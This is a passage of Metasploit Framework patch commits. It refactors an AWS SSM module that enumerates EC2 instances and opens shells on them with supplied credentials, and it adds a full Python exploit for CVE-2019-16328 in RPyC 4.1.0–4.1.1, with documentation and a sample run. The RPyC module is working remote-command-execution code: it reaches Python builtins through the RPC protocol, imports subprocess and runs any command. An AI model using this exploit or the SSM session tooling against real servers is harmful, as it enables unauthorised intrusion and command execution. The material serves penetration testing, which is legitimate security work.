enumeration identifying EC2 - instances accessible via SSM with given credentials, but enables - session initiation for all identified targets (without requiring - target-level credentials) using the CreateSession mixin option. - The module also provides an EC2 ID filter and a limiting throttle - to prevent session stampedes or expensive messes. - ), - 'Author' => [ + 'Name' => 'Amazon Web Services EC2 instance enumeration', + 'Description' => %q{ + Provided AWS credentials, this module will call the authenticated + API of Amazon Web Services to list all SSM-enabled EC2 instances + accessible to the account. Once enumerated as SSM-enabled, the + instances can be controlled using out-of-band WebSocket sessions + provided by the AWS API (nominally, privileged out of the box). + This module provides not only the API enumeration identifying EC2 + instances accessible via SSM with given credentials, but enables + session initiation for all identified targets (without requiring + target-level credentials) using the CreateSession mixin option. + The module also provides an EC2 ID filter and a limiting throttle + to prevent session stampedes or expensive messes. + }, + 'Author' => [ 'RageLtMan ' ], - 'License' => MSF_LICENSE, - 'DefaultOptions' => { 'CreateSession' => false } + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'CreateSession' => false }, + 'Notes' => { + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [], + 'Stability' => [CRASH_SAFE] + } ) ) @@ -47,86 +52,90 @@ def initialize(info = {}) ) end - def handle_aws_errors(e) - if e.class.module_parents.include?(Aws) - fail_with(Failure::UnexpectedReply, e.message) + def handle_aws_errors(error) + if error.class.module_parents.include?(Aws) + fail_with(Failure::UnexpectedReply, error.message) else - raise e + raise error end end def run - begin - credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) - vprint_status "Checking #{datastore['REGION']}..." - client = ::Aws::SSM::Client.new( - region: datastore['REGION'], - credentials: credentials, - ) - inv_params = { filters: [ + credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) + vprint_status "Checking #{datastore['REGION']}..." + client = ::Aws::SSM::Client.new( + region: datastore['REGION'], + credentials: credentials + ) + inv_params = { + filters: [ { - key: "AWS:InstanceInformation.InstanceStatus", - values: ["Terminated"], - type: "NotEqual", + key: 'AWS:InstanceInformation.InstanceStatus', + values: ['Terminated'], + type: 'NotEqual' }, { - key: "AWS:InstanceInformation.ResourceType", + key: 'AWS:InstanceInformation.ResourceType', values: ['EC2Instance'], - type: "Equal", + type: 'Equal' } - ]} + ] + } + if datastore['FILTER_EC2_ID'] inv_params[:filters] << { - key: "AWS:InstanceInformation.InstanceId", + key: 'AWS:InstanceInformation.InstanceId', values: [datastore['FILTER_EC2_ID']], - type: "Equal", - } if datastore['FILTER_EC2_ID'] + type: 'Equal' + } + end - ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten - ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT'] - ssm_ec2.each do |ssm_host| - report_host( - host: ssm_host['IpAddress'], - os_flavor: ssm_host['PlatformName'], - os_name: ssm_host['PlatformType'], - os_sp: ssm_host['PlatformVersion'], - name: ssm_host['ComputerName'], - comments: "ec2-id: #{ssm_host['InstanceId']}" - ) - report_note( - host: ssm_host['IpAddress'], - type: ssm_host['AgentType'], - data: ssm_host['AgentVersion'] - ) - vprint_good("Found SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") - if datastore['CreateSession'] - socket = get_ssm_socket(client, ssm_host['InstanceId']) - start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) - end + ssm_ec2 = client.get_inventory(inv_params).entities.map { |e| e.data['AWS:InstanceInformation'].content }.flatten + ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT'] + ssm_ec2.each do |ssm_host| + report_host( + host: ssm_host['IpAddress'], + os_flavor: ssm_host['PlatformName'], + os_name: ssm_host['PlatformType'], + os_sp: ssm_host['PlatformVersion'], + name: ssm_host['ComputerName'], + comments: "ec2-id: #{ssm_host['InstanceId']}" + ) + report_note( + host: ssm_host['IpAddress'], + type: ssm_host['AgentType'], + data: ssm_host['AgentVersion'] + ) + vprint_good("Found SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") + if datastore['CreateSession'] + socket = get_ssm_socket(client, ssm_host['InstanceId']) + start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) end - rescue Seahorse::Client::NetworkingError => e - print_error e.message - print_error "Confirm access to #{datastore['REGION']} with provided credentials" - rescue ::Exception => e - handle_aws_errors(e) end + rescue Seahorse::Client::NetworkingError => e + print_error e.message + print_error "Confirm access to #{datastore['REGION']} with provided credentials" + rescue StandardError => e + handle_aws_errors(e) end def get_ssm_socket(client, ec2_id) # Verify the connection params and availability of instance - inv_params = { filters: [ - { - key: "AWS:InstanceInformation.InstanceId", - values: [ec2_id], - type: "Equal", - } - ]} + inv_params = { + filters: [ + { + key: 'AWS:InstanceInformation.InstanceId', + values: [ec2_id], + type: 'Equal' + } + ] + } inventory = client.get_inventory(inv_params) # Extract peer info - if inventory.entities[0] and inventory.entities[0].id == ec2_id + if inventory.entities[0] && (inventory.entities[0].id == ec2_id) peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] else - raise "SSM target not found" + raise 'SSM target not found' end session_init = client.start_session({ target: ec2_id, diff --git a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb b/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb index cb1712c2e43ba..0c22482aa40ce 100644 --- a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb +++ b/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb @@ -3,32 +3,32 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - module MetasploitModule - CachedSize = 70 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Unix Command Shell, Bind SSM (via AWS API)', - 'Description' => 'Creates an interactive shell using AWS SSM', - 'Author' => 'RageLtMan ', - 'License' => MSF_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic', - 'Payload' => - { - 'Offsets' => { }, + super( + merge_info( + info, + 'Name' => 'Unix Command Shell, Bind SSM (via AWS API)', + 'Description' => 'Creates an interactive shell using AWS SSM', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindAwsSsm, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', + 'Payload' => { + 'Offsets' => {}, 'Payload' => '' } - )) + ) + ) end # @@ -43,7 +43,6 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - "" + '' end - end diff --git a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb index 84fa10169596b..66477de6a3e54 100644 --- a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb +++ b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb @@ -3,32 +3,32 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - module MetasploitModule - CachedSize = 70 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Windows Command Shell, Bind SSM (via AWS API)', - 'Description' => 'Creates an interactive shell using AWS SSM', - 'Author' => 'RageLtMan ', - 'License' => MSF_LICENSE, - 'Platform' => 'windows', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic', - 'Payload' => - { - 'Offsets' => { }, + super( + merge_info( + info, + 'Name' => 'Windows Command Shell, Bind SSM (via AWS API)', + 'Description' => 'Creates an interactive shell using AWS SSM', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'windows', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindAwsSsm, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', + 'Payload' => { + 'Offsets' => {}, 'Payload' => '' } - )) + ) + ) end # @@ -43,7 +43,6 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - "" + '' end - end From 7e19141dfc952e8f3defa27f2c472470539c3dd5 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 4 Feb 2023 19:41:40 -0500 Subject: [PATCH 022/415] Standardize DS names and set OS platforms Update SSM handler code to standardize datastore option names per @zeroSteiner. Update payload modules to reflect the OS targets against which they are to execute. --- lib/msf/core/handler/bind_aws_ssm.rb | 58 +++++++++---------- .../payloads/singles/cmd/unix/bind_aws_ssm.rb | 2 +- .../singles/cmd/windows/bind_aws_ssm.rb | 2 +- 3 files changed, 31 insertions(+), 31 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 091c402e2f03b..6bfdf0c4d3fd9 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -149,20 +149,20 @@ def initialize(info = {}) register_options( [ - OptString.new('AWS_EC2_ID', [true, 'The EC2 ID of the instance ', '']), - OptString.new('AWS_REGION', [true, 'AWS region containing the instance', 'us-east-1']), - OptString.new('AWS_AK', [false, 'AWS access key', nil]), - OptString.new('AWS_SK', [false, 'AWS secret key', nil]), - OptString.new('AWS_ROLE_ARN', [false, 'AWS assumed role ARN', nil]), - OptString.new('AWS_ROLE_SID', [false, 'AWS assumed role session ID', nil]), + OptString.new('EC2_ID', [true, 'The EC2 ID of the instance ', '']), + OptString.new('REGION', [true, 'AWS region containing the instance', 'us-east-1']), + OptString.new('ACCESS_KEY_ID', [false, 'AWS access key', nil]), + OptString.new('SECRET_ACCESS_KEY', [false, 'AWS secret key', nil]), + OptString.new('ROLE_ARN', [false, 'AWS assumed role ARN', nil]), + OptString.new('ROLE_SID', [false, 'AWS assumed role session ID', nil]), ], Msf::Handler::BindAwsSsm) register_advanced_options( [ - OptString.new('AWS_SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), - OptString.new('AWS_SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), - OptBool.new('AWS_SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]), - OptBool.new('AWS_SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) + OptString.new('SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), + OptString.new('SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), + OptBool.new('SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]), + OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) ], Msf::Handler::BindAwsSsm) self.bind_thread = nil @@ -211,14 +211,14 @@ def start_handler end # Start a new handling thread - self.bind_thread = framework.threads.spawn("BindAwsSsmHandler-#{datastore['AWS_EC2_ID']}", false) { + self.bind_thread = framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) { ssm_client = nil - print_status("Started #{human_name} handler against #{datastore['AWS_EC2_ID']}:#{datastore['AWS_REGION']}") + print_status("Started #{human_name} handler against #{datastore['EC2_ID']}:#{datastore['REGION']}") - if (datastore['AWS_EC2_ID'] == nil or datastore['AWS_EC2_ID'].strip.empty?) + if (datastore['EC2_ID'] == nil or datastore['EC2_ID'].strip.empty?) raise ArgumentError, - "AWS_EC2_ID is not defined; SSM handler cannot function.", + "EC2_ID is not defined; SSM handler cannot function.", caller end @@ -255,21 +255,21 @@ def start_handler self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| begin - raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['AWS_SSM_FORCE_COMMANDS'] + raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['SSM_FORCE_COMMANDS'] session_init = client_copy.start_session({ - target: datastore['AWS_EC2_ID'], - document_name: datastore['AWS_SSM_SESSION_DOC'] + target: datastore['EC2_ID'], + document_name: datastore['SSM_SESSION_DOC'] }) ssm_sock = connect_ssm_ws(session_init) chan = ssm_sock.to_ssm_channel - chan._start_ssm_keepalive if datastore['AWS_SSM_KEEP_ALIVE'] + chan._start_ssm_keepalive if datastore['SSM_KEEP_ALIVE'] chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm chan.params.peerhost = peer_info['IpAddress'] chan.params.peerport = 0 chan.params.peerhostname = peer_info['ComputerName'] chan.update_term_size rescue Rex::Proto::Http::WebSocket::ConnectionError - info_copy['CommandDocument'] = datastore['AWS_SSM_COMMAND_DOC'] + info_copy['CommandDocument'] = datastore['SSM_COMMAND_DOC'] chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) rescue => e elog('Exception raised from BindAwsSsm.handle_connection', error: e) @@ -285,7 +285,7 @@ def start_handler # A URI describing what the payload is configured to use for transport def payload_uri - "ssm://#{datastore['AWS_EC2_ID']}:0" + "ssm://#{datastore['EC2_ID']}:0" end def comm_string @@ -315,39 +315,39 @@ def stop_handler # def get_ssm_session # Configure AWS credentials - credentials = if datastore['AWS_AK'] and datastore['AWS_SK'] - ::Aws::Credentials.new(datastore['AWS_AK'], datastore['AWS_SK']) + credentials = if datastore['ACCESS_KEY_ID'] and datastore['SECRET_ACCESS_KEY'] + ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) else nil end - credentials = if datastore['AWS_ROLE_ARN'] and datastore['AWS_ROLE_SID'] + credentials = if datastore['ROLE_ARN'] and datastore['ROLE_SID'] ::Aws::AssumeRoleCredentials.new( client: ::Aws::STS::Client.new( - region: datastore['AWS_REGION'], + region: datastore['REGION'], credentials: credentials ), - role_arn: datastore['AWS_ROLE_ARN'], - role_session_name: datastore['AWS_ROLE_SID'] + role_arn: datastore['ROLE_ARN'], + role_session_name: datastore['ROLE_SID'] ) else credentials end client = ::Aws::SSM::Client.new( - region: datastore['AWS_REGION'], + region: datastore['REGION'], credentials: credentials, ) # Verify the connection params and availability of instance inv_params = { filters: [ { key: "AWS:InstanceInformation.InstanceId", - values: [datastore['AWS_EC2_ID']], + values: [datastore['EC2_ID']], type: "Equal", } ]} inventory = client.get_inventory(inv_params) # Extract peer info - if inventory.entities[0] and inventory.entities[0].id == datastore['AWS_EC2_ID'] + if inventory.entities[0] and inventory.entities[0].id == datastore['EC2_ID'] peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] else raise "SSM target not found" diff --git a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb b/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb index 0c22482aa40ce..52d1a9c87d05c 100644 --- a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb +++ b/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb @@ -20,7 +20,7 @@ def initialize(info = {}) 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShell, + 'Session' => Msf::Sessions::CommandShellUnix, 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic', 'Payload' => { diff --git a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb index 66477de6a3e54..7c2cac5944390 100644 --- a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb +++ b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb @@ -20,7 +20,7 @@ def initialize(info = {}) 'Platform' => 'windows', 'Arch' => ARCH_CMD, 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShell, + 'Session' => Msf::Sessions::CommandShellWindows, 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic', 'Payload' => { From 153f950f11bf7e44ccc30fc62e408f1c3b9323e9 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 4 Feb 2023 20:52:57 -0500 Subject: [PATCH 023/415] Add AwsSsmCommandShellBind session type Create an AwsSsmCommandShellBind session type to provide intercept points for shell command interactions and a wrapper class which is used to register the new session. Update Msf::Handler::BindAwsSsm with its own #create_session method utilizing the new session type to provide direct control of session initialization. Restore standard handler attributes and thread nomenclature in an attempt to resolve the repeating session creation when #to_handler is called on the payloads. Testing: Tested in local framework, unfortunately the recurring session init problem appears to persist. Requesting testing on an upstream Framework by saner folks. --- .../sessions/aws_ssm_command_shell_bind.rb | 48 ++++++++++++++ lib/msf/core/handler/bind_aws_ssm.rb | 62 +++++++++++++------ 2 files changed, 91 insertions(+), 19 deletions(-) create mode 100644 lib/msf/base/sessions/aws_ssm_command_shell_bind.rb diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb new file mode 100644 index 0000000000000..3c76e137f1886 --- /dev/null +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- + +module Msf::Sessions + ### + # + # This class provides basic interaction with an AWS SSM + # session socket encapsulated by a + # Rex::Proto::Http::WebSocket::AmazonSsm::Interface::SsmChannel + # + # Date: Feb 4, 2023 + # Author: RageLtMan + # + ### + class AwsSsmCommandShellBind < Msf::Sessions::CommandShell + + # + # This interface supports basic interaction. + # + include Msf::Session::Basic + + # + # This interface supports interacting with a single command shell. + # + include Msf::Session::Provider::SingleCommandShell + + ## + # + # Returns the session description. + # + def desc + 'SSM command shell' + end + + ## + # Intercept point from Msf::Sessions::CommandShell#shell_read + ## + def shell_read(length=-1, timeout=1) + super(length, timeout) + end + + ## + # Intercept point from Msf::Sessions::CommandShell#shell_write + ## + def shell_write(buf) + super(buf) + end + end +end diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 6bfdf0c4d3fd9..ba4db437470b0 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -165,9 +165,9 @@ def initialize(info = {}) OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) ], Msf::Handler::BindAwsSsm) - self.bind_thread = nil - self.conn_thread = nil - self.bind_sock = nil + self.listener_threads = [] + self.conn_threads = [] + self.listener_pairs = {} end # @@ -177,8 +177,9 @@ def cleanup_handler # Kill any remaining handle_connection threads that might # be hanging around stop_handler - self.bind_thread = nil - self.conn_thread = nil + conn_threads.each { |thr| + thr.kill + } end # @@ -209,9 +210,10 @@ def start_handler if (exploit_config and exploit_config['active_timeout']) ctimeout = exploit_config['active_timeout'].to_i end + self.listener_pairs[datastore['EC2_ID']] = true # Start a new handling thread - self.bind_thread = framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) { + self.listener_threads = framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) { ssm_client = nil print_status("Started #{human_name} handler against #{datastore['EC2_ID']}:#{datastore['REGION']}") @@ -253,15 +255,19 @@ def start_handler :retry_wait => datastore['SessionRetryWait'].to_i, } - self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| + self.conn_threads << framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| begin raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['SSM_FORCE_COMMANDS'] + # Call API to start SSM session session_init = client_copy.start_session({ target: datastore['EC2_ID'], document_name: datastore['SSM_SESSION_DOC'] }) + # Create WebSocket from parameters ssm_sock = connect_ssm_ws(session_init) + # Create Channel from WebSocket chan = ssm_sock.to_ssm_channel + # Configure Channel chan._start_ssm_keepalive if datastore['SSM_KEEP_ALIVE'] chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm chan.params.peerhost = peer_info['IpAddress'] @@ -269,12 +275,13 @@ def start_handler chan.params.peerhostname = peer_info['ComputerName'] chan.update_term_size rescue Rex::Proto::Http::WebSocket::ConnectionError + # Graceful fail-down to command-exec wrapper session type info_copy['CommandDocument'] = datastore['SSM_COMMAND_DOC'] chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) rescue => e elog('Exception raised from BindAwsSsm.handle_connection', error: e) end - self.bind_sock = chan + self.listener_pairs[datastore['EC2_ID']] = chan handle_connection(chan.lsock, { datastore: datastore }) } else @@ -297,15 +304,12 @@ def comm_string end def stop_handler - if (self.conn_thread and self.conn_thread.alive? == true) - self.bind_thread.kill - self.bind_thread = nil - end - - if (self.bind_thread and self.bind_thread.alive? == true) - self.bind_thread.kill - self.bind_thread = nil + # Stop the listener threads + self.listener_threads.each do |t| + t.kill end + self.listener_threads = [] + self.listener_pairs = {} end private @@ -320,6 +324,7 @@ def get_ssm_session else nil end + # Attempt to assume role from current context credentials = if datastore['ROLE_ARN'] and datastore['ROLE_SID'] ::Aws::AssumeRoleCredentials.new( client: ::Aws::STS::Client.new( @@ -355,11 +360,30 @@ def get_ssm_session return [client, peer_info] end + def create_session(ssm, opts = {}) + # If there is a parent payload, then use that in preference. + s = Sessions::AwsSsmCommandShellBind.new(ssm, opts) + # Pass along the framework context + s.framework = framework + + # Associate this system with the original exploit + # and any relevant information + s.set_from_exploit(assoc_exploit) + + # If the session is valid, register it with the framework and + # notify any waiters we may have. + if s + register_session(s) + end + + return s + end + protected - attr_accessor :bind_thread # :nodoc: - attr_accessor :conn_thread # :nodoc: - attr_accessor :bind_sock # :nodoc: + attr_accessor :conn_threads # :nodoc: + attr_accessor :listener_threads # :nodoc: + attr_accessor :listener_pairs # :nodoc: module AwsSsmSessionChannelExt From a2026182e1d40a4e3a5fc7e9170a7aa3ca383201 Mon Sep 17 00:00:00 2001 From: ajmeese7 Date: Sun, 19 Feb 2023 16:03:05 -0500 Subject: [PATCH 024/415] feat: created module to exploit CVE-2019-16328 --- .../auxiliary/scanner/http/rpyc_rce.md | 91 ++++++++++++++++ modules/auxiliary/scanner/http/rpyc_rce.py | 102 ++++++++++++++++++ 2 files changed, 193 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/rpyc_rce.md create mode 100755 modules/auxiliary/scanner/http/rpyc_rce.py diff --git a/documentation/modules/auxiliary/scanner/http/rpyc_rce.md b/documentation/modules/auxiliary/scanner/http/rpyc_rce.md new file mode 100644 index 0000000000000..17326b0b8e10d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/rpyc_rce.md @@ -0,0 +1,91 @@ +## Introduction +This module automatically exploits a vulnerability to remotely execute code on +RPyC servers running versions 4.1.0 and 4.1.1. The vulnerability allows a +remote attacker to dynamically modify object attributes to construct a remote +procedure call that executes code for an RPyC service with default +configuration settings. + +## Vulnerable Application: + +RPyC servers running versions between 4.1.0 and 4.1.1. + +Link to vulnerable RPyC version: +https://github.com/tomerfiliba-org/rpyc/releases/tag/4.1.1 + + +Link to Advisory: +https://github.com/advisories/GHSA-pj4g-4488-wmxm + +## Options + +**RHOST** + +Configure the remote vulnerable system. + +**RPORT** + +Configure the TCP port of the RPyC server. + +**COMMAND** + +Configure the command to execute on the remote system. + +## Verification Steps + +1. Have exploitable RPyC server (example IP: 0.0.0.0): +2. Start `msfconsole`: +3. Do: ```use auxiliary/scanner/http/rpyc_rce``` +4. Do: ```set RHOST 0.0.0.0``` +7. Do: ```set RPORT 18812``` (Set the remote port on which the server is accessible) +8. Do: ```set COMMAND whoami``` (Set the command you want to execute) +9. Do: ```run``` +10. Logs the output of the command you specified. + + +## Scenarios + +Exploiting a vulnerable RPyC server located at 0.0.0.0:9999 with the command +`whoami`: + +```log +msf6 auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 +msf6 auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 +msf6 auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami +msf6 auxiliary(scanner/http/rpyc_rce) > run +``` + +Demo example output for the module: + +```log +msf6 > use auxiliary/scanner/http/rpyc_rce +msf6 auxiliary(scanner/http/rpyc_rce) > show options + +Module options (auxiliary/scanner/http/rpyc_rce): + +Name Current Setting Required Description +---- --------------- -------- ----------- +COMMAND whoami yes Command to execute +RHOST 0.0.0.0 yes Target address +RHOSTS 0.0.0.0 yes The target host(s), see https://docs.metasploit.com/docs/using-metasp +loit/basics/using-metasploit.html +RPORT 9999 yes Target port +THREADS 1 yes The number of concurrent threads (max one per host) + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 +RHOST => 0.0.0.0 +msf6 auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 +RPORT => 9999 +msf6 auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami +COMMAND => whoami +msf6 auxiliary(scanner/http/rpyc_rce) > run + +[*] Running for 0.0.0.0... +[*] Connected to RPyC service at 0.0.0.0:9999 +[*] Executing command: whoami +[*] Command result: nobody +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/rpyc_rce.py b/modules/auxiliary/scanner/http/rpyc_rce.py new file mode 100755 index 0000000000000..b50c5c1a38c37 --- /dev/null +++ b/modules/auxiliary/scanner/http/rpyc_rce.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +# standard modules +import logging + +# extra modules +dependencies_missing = False +try: + import rpyc +except ImportError: + dependencies_missing = True + +from metasploit import module + + +metadata = { + 'name': 'RPyC 4.1.0 through 4.1.1 Remote Command Execution', + 'description': ''' + This module allows remote command execution on RPyC versions 4.1.0 and 4.1.1. + You will be able to execute a specified command on the target machine as + the user running the RPyC service and view the output. + ''', + 'authors': [ + 'Aaron Meese <@ajmeese7>', # Metasploit module + 'Jamie Hill-Daniel <@clubby789>' # Original PoC + ], + 'date': '2023-02-19', # set to date of creation + 'license': 'MSF_LICENSE', + 'references': [ + {'type': 'cve', 'ref': '2019-16328'}, + {'type': 'url', 'ref': 'https://github.com/advisories/GHSA-pj4g-4488-wmxm'}, + {'type': 'url', 'ref': 'https://gist.github.com/clubby789/b681e7a40da070713c3760953d8df1c3'} + ], + 'type': 'single_scanner', + 'options': { + 'RHOST': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None}, + 'RPORT': {'type': 'port', 'description': 'Target port', 'required': True, 'default': 18812}, + 'COMMAND': {'type': 'string', 'description': 'Command to execute', 'required': True, 'default': 'whoami'} + } +} + + +def run(args): + module.LogHandler.setup(msg_prefix='{} - '.format(args['RHOST'])) + if dependencies_missing: + logging.error('Module dependency (rpyc) is missing, cannot continue') + return + + try: + # Connect to remote host + conn = rpyc.connect(args['RHOST'], args['RPORT']) + module.log("Connected to RPyC service at {}:{}".format(args['RHOST'], args['RPORT']), 'success') + except Exception as e: + logging.error('{}'.format(e)) + return + + # Get a NetRef to the service + conn.root + + def call_method(object, method, arg): + # The remote will handle this with + # `getattr(type(object), method)(object, arg)` + return conn.sync_request(rpyc.core.consts.HANDLE_CMP, object, arg, method) + + def _getattr(object, name): + # Call the internal __getattribute__ + return call_method(object, '__getattribute__', name) + + def _getitem(object, name): + # Call the internal __getitem__ + return call_method(object, '__getitem__', name) + + try: + # Retrieve service's class + the_class = _getattr(conn._remote_root, '__class__') + # Retrieve a reference to a function in the class + a_func = _getattr(the_class, 'get_service_aliases') + # Get the function's 'globals'; i.e. the Python globals + globals = _getattr(a_func, '__globals__') + # Retrieve a reference to the builtins module + builtins = _getitem(globals, '__builtins__') + # Retrieve a reference to the import function + imp = _getitem(builtins, '__import__') + # Import the subprocess module and get a reference to it + sp = imp('subprocess') + # Get a reference to getoutput + system = _getattr(sp, 'getoutput') + + # Execute remote command + module.log("Executing command: {}".format(args['COMMAND']), 'success') + result = system(args['COMMAND']) + module.log("Command result: {}".format(result), 'success') + except AttributeError: + # If the target is not vulnerable, the above code will raise an AttributeError: + # "AttributeError: cannot access '__getattribute__'" + module.log('Target is not vulnerable.', 'error') + return + + +if __name__ == '__main__': + module.run(metadata, run) From 0a6ac589e44c5051137f97f2e4dec3c6922e763b Mon Sep 17 00:00:00 2001 From: Aaron Meese Date: Thu, 9 Mar 2023 15:55:51 -0700 Subject: [PATCH 025/415] Update modules/auxiliary/scanner/http/rpyc_rce.py Renames `system` function to `remote_system` Co-authored-by: Jeffrey Martin --- modules/auxiliary/scanner/http/rpyc_rce.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/rpyc_rce.py b/modules/auxiliary/scanner/http/rpyc_rce.py index b50c5c1a38c37..4bf1c1e615ddd 100755 --- a/modules/auxiliary/scanner/http/rpyc_rce.py +++ b/modules/auxiliary/scanner/http/rpyc_rce.py @@ -85,11 +85,11 @@ def _getitem(object, name): # Import the subprocess module and get a reference to it sp = imp('subprocess') # Get a reference to getoutput - system = _getattr(sp, 'getoutput') + remote_system = _getattr(sp, 'getoutput') # Execute remote command module.log("Executing command: {}".format(args['COMMAND']), 'success') - result = system(args['COMMAND']) + result = remote_system(args['COMMAND']) module.log("Command result: {}".format(result), 'success') except AttributeError: # If the target is not vulnerable, the above code will raise an AttributeError: From 028cc8a909e414be4db825965a7e0b8032261948 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Wed, 15 Mar 2023 20:53:57 